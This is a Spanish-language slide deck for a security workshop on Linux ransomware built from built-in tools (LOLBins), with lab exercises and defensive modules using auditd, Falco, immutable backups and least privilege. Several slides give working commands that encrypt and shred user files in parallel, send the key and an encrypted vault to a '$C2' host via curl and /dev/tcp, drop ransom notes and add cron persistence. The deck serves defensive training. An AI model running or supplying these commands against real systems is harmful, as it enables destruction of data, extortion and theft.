--- title: "Que coman tierra" subtitle: "De LOLBINs a ransomware" author: "Alignment Security" date: 2026 theme: moon highlight-style: monokai --- # Que coman tierra {.center} **De LOLBINs a ransomware** *Taller de seguridad ofensiva y defensiva* --- ## El escenario > "Comer tierra" es lo que sientes cuando descubres que un atacante cifró tus servidores **sin instalar nada.** - Sin malware en disco - Sin firma que detectar - Sin alerta del antivirus **¿Cómo es eso posible?** --- # Módulo 1 {.center} ## El problema invisible --- ## ¿Qué son los LOLBins? **Living Off the Land Binaries** Herramientas legítimas del sistema operativo usadas con fines maliciosos. - Ya están instaladas - Son de confianza para el OS - Los antivirus no las bloquean - Los logs las registran como actividad "normal" --- ## ¿Por qué los antivirus no los detienen? Los AV buscan **firmas**: patrones de código malicioso conocido. `openssl`, `find`, `xargs`, `shred`... son binarios firmados, legítimos, cotidianos. No hay nada que detectar. --- ## Casos reales - **NotPetya (2017):** usó `wmic` y `psexec` para propagación lateral - **Living off the Land attacks:** el 62% de los ataques modernos usan LOLBins (CrowdStrike, 2023) - **Ransomware-as-a-Service:** los kits más sofisticados evitan dropper ejecutables **La pregunta incómoda: ¿qué tan fácil es replicarlo?** --- # Módulo 2 {.center} ## El arsenal del sistema --- ## Lo que ya tienes instalado | Herramienta | Para qué lo usa un atacante | |---|---| | `openssl` | Cifrado AES-256 | | `find` | Mapear archivos objetivo | | `xargs` | Paralelizar el ataque | | `shred` | Destruir los originales | | `cron` | Persistencia | | `curl` | Exfiltrar la clave | *Ninguno de estos necesita instalación.* --- ## find: el reconocimiento ```bash # Mapear todos los archivos de valor find / -type f -writable \ \( -name "*.txt" -o -name "*.pdf" \ -o -name "*.docx" -o -name "*.db" \) \ -print0 > /tmp/.targets ``` Rápido. Silencioso. Está en cualquier Linux. --- ## xargs: el multiplicador de fuerza `find` localiza. `xargs` paraleliza. ```bash # Secuencial - un archivo a la vez while IFS= read -r f; do openssl enc -aes-256-cbc -in "$f" -out "${f}.enc" done < /tmp/.targets # Paralelo - todos los cores, al mismo tiempo find /home/victim -type f -writable -print0 \ | xargs -0 -P $(nproc) -I{} \ openssl enc -aes-256-cbc -pbkdf2 \ -pass file:/tmp/.key -in {} -out {}.enc ``` `-P $(nproc)` = un proceso por core. En 16 cores: **miles de archivos en segundos.** --- ## tar | openssl: un proceso para cifrar todo `xargs -P` abre un proceso por archivo. `tar | openssl` abre **uno solo**. ```bash # todos los archivos -> un stream -> un blob cifrado printf '%s\0' "${TARGETS[@]}" \ | tar --null -T - -czf - \ | openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \ > /tmp/.vault.enc # eliminar originales en batch printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f ``` desde un detector de procesos: hay **exactamente un `tar` y un `openssl` corriendo**. nada más. --- ## y encima se lleva el vault no solo la clave. `tarbulk` exfiltra una copia cifrada de todos los archivos usando `/dev/tcp`, sin `curl`, sin herramientas externas. ```bash # clave al C2 por tcp/9090 printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \ "$KEY" "$VICTIM_IP" "$C2" > /dev/tcp/"$C2"/9090 # vault cifrado al C2 por tcp/9091 { printf 'POST /vault/%s HTTP/1.0\r\nContent-Length: %d\r\n\r\n' \ "$VICTIM_IP" "$(stat -c%s /tmp/.vault.enc)" cat /tmp/.vault.enc } > /dev/tcp/"$C2"/9091 ``` aunque pagues, el atacante ya tiene tus archivos. el rescate no garantiza nada. --- ## La ventana de detección se cierra Benchmark real, root, servidor, `xargs -P 36`: | Fase | Tiempo | |---|---| | Reconocimiento de dirs escribibles | < 1s | | Reconocimiento de archivos objetivo | < 1s | | **Cifrado + shred (xargs -P 36)** | **1m 49s** | | Notas de rescate en todos los dirs | < 1s | Un backup en tiempo real típico tiene una ventana de **5 minutos**. El atacante termina antes. --- # Módulo 3 {.center} ## Anatomía de un ataque --- ## Las 7 fases 1. **Reconocimiento** - `find -writable` mapea objetivos 2. **Generación de clave** - `openssl rand` crea clave efímera 3. **Cifrado paralelo** - `find | xargs -P` cifra todo 4. **Destrucción** - `shred -u` elimina los originales 5. **Exfiltración** - `curl` envía la clave al atacante 6. **Rescate** - `echo` / `wall` notifica a la víctima 7. **Persistencia** - `cron` re-cifra lo que se recupere --- ## Generación de clave ```bash # Clave AES-256 efímera - 32 bytes aleatorios KEY=$(openssl rand -hex 32) ``` La clave **nunca toca disco en claro** si se exfiltra inmediatamente. Sin clave = sin recuperación. --- ## Cifrado + destrucción ```bash printf '%s\0' "${TARGETS[@]}" \ | xargs -0 -P $(nproc) -I% sh -c \ 'openssl enc -aes-256-cbc -pbkdf2 \ -pass pass:$KEY -in "$1" -out "$1.enc" \ && shred -u "$1"' _ % ``` `shred` sobreescribe el archivo **varias veces** antes de borrarlo. No hay recuperación forense. --- ## Exfiltración de clave ```bash curl -sk "https://$C2/?k=$KEY&v=$(curl -s4 ifconfig.me)" ``` Una sola petición HTTPS saliente. Difícil de distinguir de tráfico legítimo. Una vez enviada: **la víctima no puede descifrar sin pagar.** --- ## Persistencia ```bash (crontab -l 2>/dev/null; echo \ "*/5 * * * * find /home -type f -writable \ -newer /tmp/.key -print0 \ | xargs -0 -P 4 -I{} \ openssl enc -aes-256-cbc -pbkdf2 \ -pass pass:$KEY -in {} -out {}.enc") \ | crontab - ``` Cada 5 minutos: cualquier archivo nuevo que aparezca, cifrado. --- # Módulo 4 {.center} ## Lab: "Preparando el plato" --- ## Entorno del lab - VM Ubuntu/Debian **aislada** (sin red real) - Usuario no-root con home poblado de archivos de prueba - Snapshot limpio listo para restaurar entre ejercicios - **Nunca ejecutar fuera de esta VM** --- ## Ejercicio 1: Reconocimiento ```bash find /home/victim -type f -writable \ \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" \) \ > /tmp/.targets wc -l /tmp/.targets ``` **¿Cuántos archivos encontraste? ¿En cuánto tiempo?** --- ## Ejercicio 2: Generar clave ```bash openssl rand -base64 32 > /tmp/.key cat /tmp/.key ``` Esta es la clave que "el atacante" se lleva. Sin ella, no hay descifrado. --- ## Ejercicio 3: Sentir la diferencia Primero mide la versión lenta: ```bash time while IFS= read -r f; do openssl enc -aes-256-cbc -pbkdf2 \ -in "$f" -out "${f}.enc" -pass file:/tmp/.key shred -u "$f" done < /tmp/.targets ``` Luego restaura el snapshot y mide la versión real: ```bash time find /home/victim -type f -writable -print0 \ | xargs -0 -P $(nproc) -I{} sh -c \ 'openssl enc -aes-256-cbc -pbkdf2 \ -pass file:/tmp/.key -in "$1" -out "$1.enc" \ && shred -u "$1"' _ {} ``` --- ## Ejercicio 3: La pregunta clave | Métrica | `while` loop | `xargs -P 36` | `tar \| openssl` | |---|---|---|---| | Tiempo total | **13m 40s** | **1m 49s** | **4.5s** | | Archivos | **3.301** | **3.301** | **3.470** | | Archivos/segundo | **~4 arch/s** | **~30 arch/s** | **~771 arch/s** | | Speedup | baseline | 7.5x | **182x** | | Output | 3.301 `.enc` | 3.301 `.enc` | 1 blob (29 MB) | | Ventana de detección | 13 min | < 2 min | **< 10 segundos** | **¿En qué momento hubiera sido posible interrumpirlo?** - `while` loop: tienes **13 minutos**, hay tiempo de detectar el spike de I/O y actuar - `xargs -P 36`: tienes **< 2 minutos**, necesitas detección automática, no humana - `tar | openssl`: tienes **< 5 segundos**, cuando llegas ya terminó Con `tarbulk`: el único momento de intervención real es **antes** de que empiece, no durante. --- ## Ejercicio 4: tarbulk en acción restaura el snapshot y ejecuta la variante `tar | openssl`: ```bash KEY=$(openssl rand -hex 32) mapfile -d '' TARGETS < <(find /home/victim -type f -writable -print0) time printf '%s\0' "${TARGETS[@]}" \ | tar --null -T - -czf - \ | openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \ > /tmp/.vault.enc printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f ``` en otra terminal durante el ataque: `watch -n0.5 'ps aux | grep -E "tar|openssl"'` **¿cuántos procesos viste? ¿en cuántos segundos desapareció `/home/victim`?** --- ## Ejercicio 5: Nota de rescate ```bash find / -type d -writable -print0 \ | xargs -0 -I% sh -c \ 'echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"' wall /home/victim/LEEME_URGENTE.txt ``` --- ## Ejercicio 6: Persistencia ```bash (crontab -l 2>/dev/null; echo \ "*/5 * * * * find /home/victim -name '*.txt' \ -newer /tmp/.key -print0 \ | xargs -0 -P 4 -I{} \ openssl enc -aes-256-cbc -pbkdf2 \ -pass file:/tmp/.key -in {} -out {}.enc") \ | crontab - ``` Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó? --- ## Ejercicio 7: Forense post-ataque ```bash # ¿Qué quedó en auth.log? grep -E "openssl|shred|xargs" /var/log/syslog # ¿Qué procesos corrieron? last journalctl --since "30 minutes ago" | grep -E "openssl|shred" # ¿Qué modificó crontab? cat /var/spool/cron/crontabs/$(whoami) ``` **¿Hubo alguna señal detectable en tiempo real?** --- # Módulo 5 {.center} ## Defensa: cómo no comer tierra --- ## El principio > Si entendiste el ataque, entiendes dónde poner los controles. Cada fase del ataque tiene un control defensivo correspondiente. --- ## Detección: auditd ```bash # Instalar apt install auditd # Vigilar llamadas masivas a openssl auditctl -w /usr/bin/openssl -p x -k crypto_exec # Vigilar modificaciones a crontab auditctl -w /var/spool/cron -p wa -k crontab_mod # Ver alertas ausearch -k crypto_exec | tail -20 ``` Un spike de 500 procesos `openssl` en 10 segundos **es una alerta real.** --- ## Detección: comportamiento, no firma Lo que hay que buscar: - `openssl` lanzado por un proceso no esperado - `xargs` con `-P` alto y muchos forks en poco tiempo - `shred` ejecutado sobre extensiones de documento - Escritura masiva de archivos `.enc` en directorios de usuario - Modificación de `crontab` fuera de ventanas de mantenimiento --- ## Detección comportamental: Falco **Falco** intercepta syscalls en tiempo real vía eBPF y dispara alertas cuando el comportamiento rompe una regla, no cuando hay una firma conocida. - Sin agente en userspace frágil - Reglas en YAML, legibles por humanos - Se integra con cualquier SIEM vía Falcosidekick --- ## Instalar Falco: Debian / Ubuntu ```bash curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \ | sudo gpg --dearmor \ -o /usr/share/keyrings/falco-archive-keyring.gpg echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \ https://download.falco.org/packages/deb stable main" \ | sudo tee -a /etc/apt/sources.list.d/falcosecurity.list sudo apt-get update sudo apt-get install -y apt-transport-https dialog sudo apt-get install -y falco ``` --- ## Instalar Falco: RHEL / Rocky / Fedora ```bash sudo rpm --import \ https://falco.org/repo/falcosecurity-packages.asc sudo curl -o /etc/yum.repos.d/falcosecurity.repo \ https://falco.org/repo/falcosecurity-rpm.repo sudo yum update -y sudo yum install -y dialog sudo yum install -y falco ``` --- ## Desplegar las reglas QueComanTierra ```bash # Clonar el repositorio del taller git clone https://git.resacachile.cl/anti/workshops /opt/workshops # Copiar reglas al directorio de Falco cp /opt/workshops/QueComanTierra/detection/falco_rules.yaml \ /etc/falco/rules.d/tarssl.yaml # Recargar todos los servicios de Falco systemctl restart falco-* --all ``` Las reglas viven en `/etc/falco/rules.d/`. Falco las carga automáticamente sin tocar la config base. --- ## Verificar que las reglas están activas ```bash # Ver reglas cargadas falco --list | grep -E "OpenSSL|TCP|Deletion|Encrypted" # Ver logs en tiempo real journalctl -fu falco # Probar: lanzar openssl enc desde bash echo "test" | openssl enc -aes-256-cbc -pass pass:test -pbkdf2 # → Debe aparecer WARNING en journalctl ``` --- ## Prevención: backups inmutables ```bash # restic con repositorio de solo-escritura restic -r s3:s3.amazonaws.com/mi-bucket backup /home # ZFS snapshot automático cada hora zfs snapshot tank/home@$(date +%Y%m%d-%H%M) # S3 Object Lock - no se puede borrar aunque te roben las credenciales aws s3api put-object-retention ... ``` El ransomware cifra lo que puede escribir. **No puede borrar un snapshot ZFS ni un Object Lock.** --- ## Prevención: mínimo privilegio ```bash # Archivos críticos inmutables chattr +i /etc/passwd /etc/shadow /etc/crontab # AppArmor: openssl solo puede leer /tmp y /home/app # /etc/apparmor.d/usr.bin.openssl /usr/bin/openssl { /tmp/** rw, /home/app/** rw, deny /** w, } ``` Un proceso que no puede escribir fuera de su directorio **no puede cifrar el sistema.** --- ## Respuesta: el runbook 1. **Aislar** - desconectar de red, no apagar (la clave puede estar en RAM) 2. **Preservar** - dump de memoria con `avml` antes de cualquier acción 3. **Identificar** - ¿la clave fue exfiltrada? revisar logs de red 4. **Contener** - revocar credenciales, limpiar crontabs 5. **Recuperar** - restaurar desde snapshot inmutable más reciente 6. **Post-mortem** - ¿qué control hubiera parado esto? --- # Módulo 6 {.center} ## Cierre --- ## Lo que aprendiste hoy - Los LOLBins convierten el sistema en su propio enemigo - `xargs -P` es la diferencia entre minutos y segundos - El cifrado AES-256 con `openssl` es trivial desde la CLI - La defensa efectiva requiere entender el ataque --- ## La lección real > La mejor defensa es saber exactamente cómo te van a atacar. Un blue teamer que nunca ha ejecutado un ataque **no sabe qué está buscando.** --- ## Recursos - **GTFOBins** - catálogo de LOLBins y sus usos ofensivos - **LOLBAS** - equivalente para Windows - **MITRE ATT&CK T1486** - Data Encrypted for Impact - **auditd rules** - github.com/Neo23x0/auditd **Tarea:** auditar tu propio entorno con `auditd`. ¿Qué encontraste? --- ## {.center} *"Que coman tierra... pero los atacantes."* **Preguntas** --- ## Compilar con pandoc ```bash # PPTX con plantilla corporativa (recomendado) pandoc slides.md -t pptx \ --reference-doc="../../Red Team.pptx" \ -o slides.pptx # reveal.js (para presentar en browser) pandoc slides.md -t revealjs -s \ --highlight-style=monokai \ -o slides.html ```